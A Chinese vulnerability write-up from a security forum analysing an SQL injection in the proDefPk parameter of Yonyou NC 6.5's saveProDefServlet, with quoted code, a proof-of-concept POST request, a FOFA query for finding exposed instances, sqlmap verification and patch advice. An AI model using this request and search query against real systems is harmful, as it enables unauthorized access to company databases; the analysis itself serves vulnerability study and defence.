问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
用友NC saveProDefServlet SQL注入漏洞分析
渗透测试
用友NC系统saveProDefServlet方法存在SQL注入漏洞,攻击者可获取数据库敏感信息。
一、漏洞简介 ------ 用友NC系统`saveProDefServlet`方法存在SQL注入漏洞,攻击者可获取数据库敏感信息。 二、影响版本 ------ 用友NC6.5 三、漏洞原理分析 -------- 漏洞位于`saveProDefServlet`接口处,在包名称为`webimp`的目录下  漏洞代码如下  关键代码在下面  这个类似命名以Pk结尾的查询方法已经是老熟人了,看到这种命名就能直接判断他这里有注入点 ```php @Action(method = "POST") public void doPost() { String proDefXml = this.request.getParameter("prodefxml"); String isNewVersion = "false"; String newProdefPk = null; String isInsertNew = "false"; this.response.setCharacterEncoding("utf-8"); this.response.setContentType("text/html"); PrintWriter out = null; try { out = this.response.getWriter(); } catch (IOException e1) { WfmLogger.error(e1.getMessage(), e1); throw new LfwRuntimeException(e1.getMessage()); } try { proDefXml = URLDecoder.decode(proDefXml, "UTF-8"); } catch (UnsupportedEncodingException e) { WfmLogger.error(e.getMessage(), e); throw new LfwRuntimeException(e.getMessage()); } String checkRsult = checkProdefXml(proDefXml); if (StringUtils.isNotBlank(checkRsult)) { printSaveSuccess(out, isNewVersion, isInsertNew, newProdefPk, checkRsult); return; } String proDefPk = this.request.getParameter("proDefPk"); try { WfmProdefVO proDefVo = WfmServiceFacility.getProDefQry().getProDefVOByProDefPk(proDefPk); if (proDefVo == null) return; ``` 关键代码是接收了参数proDefPk,然后传入了对应的getProDefVOByProDefPk方法当中,咱们继续追踪代码 来到如下代码中  可见传入的参数与SQL语句进行了拼接,造成注入 ```php public WfmProdefVO[] getProDefVOByProDefPks(String[] proDefPks) throws WfmServiceException { List<WfmProdefVO> wfmProdefVOs = new ArrayList<>(); WfmProdefVO WfmProdefVo = null; for (int i = 0; i < proDefPks.length; i++) { WfmProdefVo = getProDefVOByProDefPk(proDefPks[i]); wfmProdefVOs.add(WfmProdefVo); } return wfmProdefVOs.<WfmProdefVO\>toArray(new WfmProdefVO[0]); } ``` 下一步构造传参,调用doPost方法,然后传参proDefPk即可 ```php POST /portal/pt/servlet/saveProDefServlet/doPost?pageId=login&proDefPk=1&prodefxml=1 HTTP/1.1 Host: xxxxx ``` 四、总结 ---- 用友NC系统`saveProDefServlet`接口的方法中直接拼接SQL语句造成了SQL注入漏洞,攻击者可以获取数据库敏感信息。 五、资产测绘 ------ FOFA语法 ```php app="用友-UFIDA-NC" ```  六、漏洞复现 ------ POC ```php POST /portal/pt/servlet/saveProDefServlet/doPost?pageId=login&proDefPk=1&prodefxml=1 HTTP/1.1 Host: xxxxx ``` 使用SQLMAP进行验证,参数proDefPk存在注入  七、修复建议 ------ 安装用友NC最新的补丁并更新到最新版本,对接口添加身份信息验证并修改对应的查询方法逻辑。
发表于 2025-07-16 09:40:36
阅读 ( 86 )
分类:
OA产品
0 推荐
收藏
0 条评论
请先
登录
后评论
chobits
13 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!